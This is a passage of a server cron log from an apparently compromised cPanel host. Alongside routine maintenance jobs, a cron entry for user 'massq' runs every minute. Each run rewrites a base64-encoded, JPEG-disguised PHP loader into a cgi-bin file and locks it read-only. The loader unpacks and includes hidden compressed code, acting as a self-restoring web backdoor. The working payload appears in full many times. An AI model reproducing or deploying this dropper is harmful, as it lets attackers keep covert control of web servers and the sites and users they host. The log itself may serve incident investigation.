kpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:44:01 server CROND[7495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:45:01 server CROND[7543]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:45:01 server CROND[7545]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:45:01 server CROND[7546]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:46:01 server CROND[7651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:47:01 server CROND[7757]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null 2>&1 > /dev/null))
Apr  9 02:47:01 server CROND[7758]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:47:43 server crontab[8347]: (root) LIST (root)
Apr  9 02:48:01 server CROND[8607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:48:18 server crontab[8690]: (root) LIST (root)
Apr  9 02:48:18 server crontab[8692]: (root) LIST (root)
Apr  9 02:48:22 server crontab[8791]: (root) LIST (root)
Apr  9 02:49:01 server CROND[9391]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:50:01 server CROND[9444]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 02:50:01 server CROND[9446]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 02:50:01 server CROND[9448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:50:01 server CROND[9449]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:50:01 server CROND[9447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:51:01 server CROND[9569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:52:01 server CROND[9614]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:53:01 server CROND[9674]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:54:01 server CROND[9955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:55:01 server CROND[10007]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:55:01 server CROND[10006]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:55:01 server CROND[10008]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:56:01 server CROND[10160]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:57:01 server CROND[10219]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
